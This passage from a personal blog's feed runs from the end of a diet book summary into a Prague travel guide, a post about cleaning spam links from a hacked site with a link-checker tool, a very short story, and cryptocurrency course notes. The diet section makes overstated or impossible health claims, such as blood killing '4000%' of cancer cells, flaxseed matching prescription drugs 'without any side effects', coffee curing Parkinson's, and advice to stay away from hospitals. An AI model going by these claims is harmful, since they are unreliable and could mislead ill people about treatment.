<li>IGF-1, Insulin-like Growth Factor-1, promotes cell division which is good for children. Lack of it causes Laron Syndrome (Dwarfism). But for adults, it has been associated with cancer. Animal protein promotes it. Plant protein does not. Vegetarians consuming milk and eggs have the same risk of IGF-1 as meat eaters. Only a reduction in animal protein helps.</li>
<li>Blood taken from men on a couch potato diet killed 1-2% of cancer cells in a Petri dish. For men who exercise strenuously, their blood killed 2000% of cancer cells and the blood of those who both exercise and eat a plant-based diet killed 4000% of cancer cells.</li>
<li>A plant-based diet not only prevents prostate cancer but also has been shown to put existing cancer into remission. <strong>Cruciferous vegetables</strong> are the best food to put cancer in remission.</li>
<li>Lignans found in <strong>Flaxseed</strong> work on suppressing cancer as well.</li>
<li>BPH or prostate enlargement causes trouble urinating and is common in men with aging. <strong>Onion and garlic</strong> lower the risk of BPH. Three tablespoons of Flaxseed a day have shown to be as effective as leading medicines, Flomax and Proscar, without any side effects, in terms of curing BPH.</li>
</ol>
<h3 id="14---parkinsons-disease">14 - Parkinson&rsquo;s Disease</h3>
<ol>
<li>Smoking is associated with a lower rate of Parkinson&rsquo;s and that&rsquo;s because of Nicotine. One can have the same effect by eating <strong>Tomatoes</strong>, <strong>Bell Peppers,</strong> and other nightshade vegetables that contain trace amounts of Nicotine.</li>
<li>Dairy consumption is strongly correlated with Parkinson&rsquo;s. The underlying cause is not entirely clear. Either it is neurotoxins like DDT and PCB. Or it is milk sugar or galactose. Or the fact that milk suppresses uric acid, an important antioxidant for the brain.</li>
<li><strong>Apples</strong> protect Parkinson&rsquo;s but only in men. <strong>Berries</strong> protect everyone.</li>
<li><strong>Coffee</strong> has been shown to not only reduce but even cure the effects of Parkinson&rsquo;s.</li>
</ol>
<h3 id="15---iatrogenic-medical-interventions-and-mistakes">15 - Iatrogenic (Medical interventions and mistakes)</h3>
<ol>
<li>Doctors make tons of mistakes. Stay away from the hospital as long as you can.</li>
<li>A chest CT scan ~ 700 cigarettes worth of cancer risk.</li>
<li>For colon cancer detection, stool testing is as good as a colonoscopy but in the US, doctors push for a colonoscopy since they make money from it. If you are going for it, take peppermint oil capsules since it relaxes the colon.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/nutrition" term="nutrition" label="nutrition"/><category scheme="https://ashishb.net/tag/diet" term="diet" label="diet"/></entry><entry><title type="html">Prague in Two Days</title><link href="https://ashishb.net/travel/prague-czech-republic/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Budapest, Hungary"/><id>https://ashishb.net/travel/prague-czech-republic/</id><author><name>Ashish Bhatia</name></author><published>2019-05-05T22:02:05+00:00</published><updated>2019-05-05T22:02:05+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate guide to Prague, Czech Republic. The city is famous for its medical castles, museums, and quite a few quirky attractions.</blockquote><p>Prague, or &ldquo;Praha&rdquo; in Chezch, is probably the most famous city in Eastern 
<a href="/tag/europe/">Europe</a>.
The city boasts medical castles, museums, and quite a few quirky attractions.</p>
<h3 id="some-tips-for-first-timers">Some tips for first timers</h3>
<ol>
<li>The local currency is the Czech Crowns, and many shops are cash-only.</li>
<li>Toilets are paid even at cafes like Starbucks. Free ones are usually available at the Restaurants.</li>
<li>Do try Doughnut ice-cream cones. They are not native to Prague but a cliché food item to eat at this point.</li>
</ol>
<h3 id="day-1">Day 1</h3>
<p>Start your day with walking tours; I did   
    
    
<a href="https://extravaganzafreetour.com/old-town-jewish-quarter?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Old Town &amp; Jewish Quarter Tour</a> at noon
followed by   
    
    
<a href="https://extravaganzafreetour.com/Charles&#43;Bridge&#43;%26&#43;Prague&#43;Castle?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Charles Bridge &amp; Prague Castle Tour</a>, two hours each.
The two tours would cover a big chunk of the history and the culture of Prague.</p>
<p>After the tour, check out the &ldquo;Man Hanging out&rdquo; and the Franz Kafka statue which are in the vicinity of the city center.</p>
<figure>
    
    <a href="men_hanging_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="men_hanging_resized-512x1024.jpg"
         alt="A man appears to be hanging over a street in an artistic installation, based in a city center, capturing a surreal, thought-provoking scene." width="900"/> </a>
</figure>

<figure>
    
    <a href="kafka_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kafka_resized-512x1024.jpg"
         alt="A circular astronomical clock displays intricate details on a historic building wall." width="900"/> </a>
</figure>

<p>Then head to the Astronomical clock in the old square.
The golden hand on the outer dial shows the time since the last sunset,
the inner dial shows the oriental 12-hour time, which starts at the sunrise, and
the black stick marks the modern-day style time on the outer dial.
The current phase of the moon is displayed as well.</p>
<figure>
    
    <a href="astro_clock_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="astro_clock_resized-512x1024.jpg"
         alt="An intricate astronomical clock with multiple dials displays modern-style time and the current moon phase." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Start your day with the communist-era ugly looking TV tower. Nothing special here from the outside, so, feel free to skip it as well.</p>
<figure>
    
    <a href="tv_tower_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tv_tower_resized-512x1024.jpg"
         alt="TV towner" width="900"/> </a>
</figure>

<p>Then head to Municipal Building to see   
    
    
<a href="https://www.atlasobscura.com/places/paternoster-lift-at-prague-city-hall?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Paternoster</a>, a never-stopping lift.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/P-zzzOhT8BI?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Prague Library next door contains another photo-worthy item, a book Zenga.</p>
<figure>
    
    <a href="IMG_20190328_113028_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190328_113028_resized-512x1024.jpg"
         alt="A stone statue depicting two male figures, positioned in a courtyard with bushes and a pale building visible in the background." width="900"/> </a>
</figure>

<p>Now, cross-over the bridge and head to the western side to see the pissing statue,
the two men are pissing on the two biggest cities of Czechia, Prague, and Brno,
the artist, never explained the art and most people assume that it is a pissing contest between the two cities.</p>
<figure>
    
    <a href="IMG_20190328_115801_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190328_115801_resized-1024x512.jpg"
         alt="Bronze statue of a urinating man, located outdoors on a circular platform with water. The statue features a motion capturing a mid-action pose in an urban setting." width="900"/> </a>
</figure>

<p>Within a short walking distance is the narrowest street in Prague. Once a fat tourist got   
    
    
<a href="https://www.amusingplanet.com/2015/10/pragues-narrowest-street-is-so-narrow.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">stuck</a> here,
and the restaurant waiters used soap to lubricate her out.</p>
<figure>
    
    <a href="IMG_20190328_120601_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190328_120601_resized-512x1024.jpg"
         alt="A vibrant street mural featuring colorful, abstract designs covers a large wall, adding visual interest to the urban environment." width="900"/> </a>
</figure>

<p>John Lennon wall, a bit overhyped, is also nearby.</p>
<figure>
    
    <a href="john_lennon_wall_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="john_lennon_wall_resized-1024x512.jpg"
         alt="Street art mural depicting colorful graffiti and drawings on a concrete wall, creating visual interest in an urban environment. Nearby, the John Lennon wall serves as another popular attraction." width="900"/> </a>
</figure>

<p>Brown nosing, another controversial art and a bit far from the city center is a mockery on politicians.
If you have time, do check this one as well as other installations at   
    
    
<a href="https://www.prague.eu/en/object/places/1543/futura?back=1&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Futura Gallery</a> in Prague.</p>
<figure>
    
    <a href="IMG_20190328_130500_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190328_130500_resized-1024x512.jpg"
         alt="A large, abstract metal sculpture is displayed in a gallery setting, mounted on a white pedestal with wooden flooring. The sculpture exhibits intricate, geometric forms." width="900"/> </a>
</figure>

<p>Avoid going to   
    
    
<a href="https://www.atlasobscura.com/places/grotta?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Grotta</a>, though free, it is a waste of time.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/prague" term="prague" label="prague"/><category scheme="https://ashishb.net/tag/czech-republic" term="czech-republic" label="czech-republic"/></entry><entry><title type="html">This website was compromised</title><link href="https://ashishb.net/tech/this-website-was-compromised/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Angel investing for Software Engineers"/><link href="https://ashishb.net/tech/tech-job-after-mba/?utm_source=atom_feed" rel="related" type="text/html" title="A short guide for MBAs looking for a job in the tech world"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/closeum-closed-source-in-disguise/?utm_source=atom_feed" rel="related" type="text/html" title="Closeum - closed-source in disguise"/><id>https://ashishb.net/tech/this-website-was-compromised/</id><author><name>Ashish Bhatia</name></author><published>2019-05-01T16:00:46+00:00</published><updated>2019-05-01T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how a custom link checker tool can protect your website from unwanted links after a security breach. Safeguard your domain with ease.</blockquote><p>For 6-months, this website was compromised. I am not sure what exactly happened, but it was most likely password-reuse, which lend itself to this problem. The problem became apparent when I first noticed an unusual link to a ride-sharing service. Later, I saw more of those links. That&rsquo;s when I realized that I couldn&rsquo;t merely sit and scan every blog post manually and decided to write a small interactive   
    
    
<a href="https://github.com/ashishb/outbound-link-checker?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">link checker tool</a>. This tool whitelists the starting domain and allows you to whitelist URLs on a per-domain basis. The whitelist is persisted at the end of execution and will be used next time you use the tool.</p>
<p>Say, your website is example.com,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Sh
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>go run outbound-link-checker.go <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  -domain example.com <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  -starting-url https://example.com <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span>  -num-url-crawl-limit -1</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The tool starts from the starting URL and scans all the links on the page. If any of those links are in the domain, they are scanned further. If they are not, then they are checked against the whitelist, the non-whitelisted domains would be prompted back to you for whitelisting.</p>
<p>Using the tool, I caught quite a few more such bad links.
Note: The tool does not execute Javascript. Thus, it will miss any dynamically generated links.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Nationality</title><link href="https://ashishb.net/short-stories/nationality/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/empty-japan-crowded-tokyo/?utm_source=atom_feed" rel="related" type="text/html" title="Empty Japan, crowded Tokyo"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><id>https://ashishb.net/short-stories/nationality/</id><author><name>Ashish Bhatia</name></author><published>2019-04-24T04:00:30+00:00</published><updated>2019-04-24T04:00:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the multifaceted identity of a man navigating life in Europe as an American, Hispanic in the US, and European in Mexico. Explore cultural perceptions.</blockquote><p>He is living in Europe.<br>
He is an American citizen.<br>
His parents are from Mexico.<br>
In Europe, he is an American.<br>
In America, he is Hispanic/Mexican.<br>
In Mexico, he is a Mexican of European descent.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">Stanford CS251: Cryptocurrencies, blockchains, and smart contracts</title><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 13"/><id>https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:24:14+00:00</published><updated>2019-04-01T07:24:14+00:00</updated><content type="html"><![CDATA[<blockquote>Enhance your cryptocurrency knowledge with Stanford&rsquo;s CS251 lectures covering Bitcoin, Ethereum, and advanced topics like quantum computing and anonymity.</blockquote><h3 id="lectures">Lectures</h3>
<ol>
<li>
<a href="/programming/stanford-cs251-lecture-1/">Introduction</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-2/">Creating a Digital currency</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-3/">Bitcoin Overview</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-4/">Bitcoin Blockchain</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-5/">Bitcoin Mining</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-6/">Bitcoin Miner interactions and Game Theory</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-7/">Cryptocurrencies: Community, Economics, and Politics</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-8/">Alternative Consensus</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-9/">Wallet &amp; Anonymity</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-10/">Anonymity on Blockchain</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-11/">Altcoins</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-12/">Ethereum</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-13/">Ethereum</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-14/">Ethereum Governance</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-15/">Bitcoin Side-chains (guest talk)</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-16/">Bitcoin Payment channel</a></li>
<li>Guest talk on Legal by Ben Lawsky  - does not seem worthy of transcribing</li>
<li>
<a href="/programming/stanford-cs251-lecture-18/">Advanced Topics - Quantum Computing, Threshold Signatures, and storing secret state on public chains</a></li>
<li>
<a href="/programming/stanford-cs251-lecture-19/">Advanced Topics - Smart property, publicly verifiable randomness, and prediction markets</a></li>
<li>Guest talk by Adam Ludwin (CEO, chain.com) - does not seem worthy of transcribing</li>
</ol>
<p>The notes are based on the 2016 version of the course   
    
    
<a href="https://cs251crypto.stanford.edu/18au-cs251/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CS251</a></p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 19</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 13"/><id>https://ashishb.net/programming/stanford-cs251-lecture-19/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:21:41+00:00</published><updated>2019-04-01T07:21:41+00:00</updated><content type="html"><![CDATA[<blockquote>Explore advanced blockchain concepts like Smart Property, Public Randomness, and Prediction Markets. Learn how ownership, lotteries, and future events can be managed digitally.</blockquote><h3 id="lecture-19-advanced-topics">Lecture 19: Advanced Topics</h3>
<h4 id="topic-1-smart-property">Topic 1: Smart Property</h4>
<p>Manage ownership of some property like stocks on the blockchain.   
    
    
<a href="https://en.bitcoin.it/wiki/Colored_Coins?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Colored coins</a> allow arbitrary properties on Smart Contract. Similar to Namecoin, there cannot be a light node/SPV for this. Another example is rental, car&rsquo;s ownership goes from Alice to Carol in a 2-of-2 transaction from Alice to Carol and locked transaction to return the car&rsquo;s possession after a fixed time. One still has to trust the car&rsquo;s hardware and manufacturer.</p>
<h4 id="topic-2-public-randomness-lotteries">Topic 2: Public Randomness (Lotteries)</h4>
<ol>
<li>Multi-party randomness: Alice sends a commitment to x to Bob, Bob sends y, Alice reveals x and the random number is x XOR y. One can have deposits to force Alice to reveal x.</li>
<li>Public Protocol: Random (unpredictable) beacon, consensus and is manipulation-resistant. One example is weather data coming from a trusted observer. Alternatively, use data from blockchain to get a PRNG. Puzzle solutions are not predictable, but it is not manipulation-resistant since the miner can withhold the block if they don&rsquo;t like the result (cost is the loss of mining fee). The other issue is a collision. There is a workaround, apply a very slow hash function; for example, SHA-256 applied 240 times for the result. This means that by the time someone calculates the hash, the blockchain would have advanced on one of the chains and then the hash of the block on the main chain counts.</li>
</ol>
<h4 id="topic-3-prediction-markets">Topic 3: Prediction markets</h4>
<p>Idea: Trade shares in future events Share(X) will be worth one if X happens and zero otherwise. Today the share is worth prob(X) assuming efficient markets.   
    
    
<a href="https://www.augur.net?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Augur</a> is the most famous one on top of Ethereum.</p>
<p>How to trade?</p>
<p>One option is to have order books, so, you need someone else to take the bet on the other side. A better option is &ldquo;automated market makers&rdquo; which will always be willing to trade based on a formula.</p>
<p>How to decide what happened?</p>
<ol>
<li>Arbitration</li>
<li>  
    
    
<a href="https://realit.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Reality Keys</a> data feed</li>
<li>m-of-n arbitration</li>
<li>Decentralized approaches - half-baked theories like all stakeholders will vote and if they don&rsquo;t agree everyone loses.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 18</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-13/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 13"/><id>https://ashishb.net/programming/stanford-cs251-lecture-18/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:20:36+00:00</published><updated>2019-04-01T07:20:36+00:00</updated><content type="html"><![CDATA[<blockquote>Explore quantum computing breakthroughs, threshold signatures, and secret state Ethereum contracts. Discover how Grover&rsquo;s and Shor&rsquo;s algorithms could revolutionize tech.</blockquote><h3 id="lecture-18-advanced-topics">Lecture 18: Advanced Topics</h3>
<p>Three topics are chosen by students (another three for the next lecture)</p>
<h4 id="topic-1-quantum-computing">Topic 1: Quantum Computing</h4>
<p>An electron has two states top and bottom spins, represented as <code>|1&gt;</code> and <code>|0&gt;</code>. An electron is in a superposition of those two states with wave functions Ψ0 and Ψ1, so, the combined wave function is Ψ = Ψ0. <code>|0&gt;</code> + Ψ1. <code>|1&gt;</code> with |Ψ0|2 + Ψ12 = 1. |Ψ0|2 is the proability of seeing state <code>|0&gt;</code> and Ψ12 is the probability of seeing state <code>|1&gt;</code> respectively. Thus, Ψ = [Ψ0, Ψ1] is the overall state matrix. The state evolves using a 2X2 Hamiltonian matrix H, such that, second-degree norm won&rsquo;t change, <code>|| H.V || = || V ||</code>. This ensures |Ψ0|2 + Ψ12 = 1 always holds.</p>
<p>Ψn = sum of 2n states = vector of dimension 2n states = Σ Ψw. <code>|w&gt;</code> where w ∊ [0, 1]n with Σ |Ψw|2 = 1, |Ψw|2 is the probability of seeing the state Ψw</p>
<h5 id="quantum-computer">Quantum computer</h5>
<ol>
<li>System starts with a simple state says <code>1.|000...&gt;</code></li>
<li>Apply a sequence of Hamiltonians. There are two universal Hamiltonians. One flips a single electron, the other swaps the state of two electrons.</li>
<li>Observe final state. Highest amplitude is on the correct answer.</li>
</ol>
<p>Isolating quantum bits (qubits) from environment is hard. And therefore, building quantum computers is hard.</p>
<h5 id="two-applications">Two applications</h5>
<ol>
<li>Grover&rsquo;s algorithm - Consider a problem for a function which takes an n-bit input and a binary output, find the input which produces 1 as output. Classical algorithm takes 2n. Grover&rsquo;s algorithm takes 2n/2 =&gt; quadratic speedup. This has an implication of solving proof of work way faster =&gt; difficulty has to adjust from say 270 to 2140=&gt; Death of mining pools, the only people who can mine will be the one who owns quantum computer.</li>
<li>Shor&rsquo;s Algorithm - Given a periodic function <code>F : G -&gt; Y</code> whose period P is unknown, it will take O(G) time to find the period P via brute-force. Shor&rsquo;s algorithm can find P in <code>O(Log|G| + time(F))</code> =&gt; exponential speedup. Finding period is sufficient to break Discrete logs =&gt; Breaks ECDSA =&gt; Given public key one can find the private key. Bitcoin has to move to post-quantum crypto like   
    
    
<a href="https://blog.cryptographyengineering.com/2018/04/07/hash-based-signatures-an-illustrated-primer/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hash-based signatures</a> which are 1024 bytes, much longer than 64-bytes ECDSA or   
    
    
<a href="https://csrc.nist.gov/csrc/media/events/workshop-on-cybersecurity-in-a-post-quantum-world/documents/papers/session9-oneill-paper.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lattice-based signatures</a> which are 1024 bytes as well.</li>
</ol>
<h4 id="topic-2-threshold-signatures">Topic 2: Threshold Signatures</h4>
<p>Bitcoin uses multi-sig. Standard approach is inflexibles since one has to commit to signers and thresholds in advance. It is not private since script has to be revealed for spent.</p>
<p>Threshold signatures solves this problem. For any signing algorithm like RSA and BLS (but not ECDSA) where signature = H(m)Sk, one can commit to a particular Sk and then find split it across signers. Multiplying the two signed will verify the correctness. If the parties are trutworthy enough to discard their share, one can easily move from 2-of-2 to 2-of-3 or 3-of-3 setup without changing the commitment. ECDSA is hard to thresholdize.</p>
<h4 id="topic-3-ethereum-contracts-with-secret-state">Topic 3: Ethereum Contracts with Secret State</h4>
<p>For example, playing Blackjack on Ethereum.</p>
<p>Setup using El-Gamal Public Key encryption. Fix G and g in G. There are two private keys sk1 and sk2 with public values gsk1and gsk2. Public keys = gsk1 + sk2. El-Gamal has an interesting property called re-randomization, so, a ciphertext, can be randomized to another unlinkable ciphertext using the public key. Decryption can happen in phases using sk1 and sk2.</p>
<p>Contract</p>
<ol>
<li>Store sorted deck of cards - E(pk, 1), E(pk, 2)&hellip;</li>
<li>Alice shuffle deck and re-randomize - E(pk, a1), E(pk, a2)&hellip; and also prove using Zero knowledge that shuffle is valid.</li>
<li>Bob does the same shuffle and re-randomize. Now contracts stores a shuffled deck ct1, ct2&hellip;</li>
<li>Contract deals two cards to Alice. Bob partially decrypts the two cards and then Alice decrypts the cards. Bob does not know which card Alice has.</li>
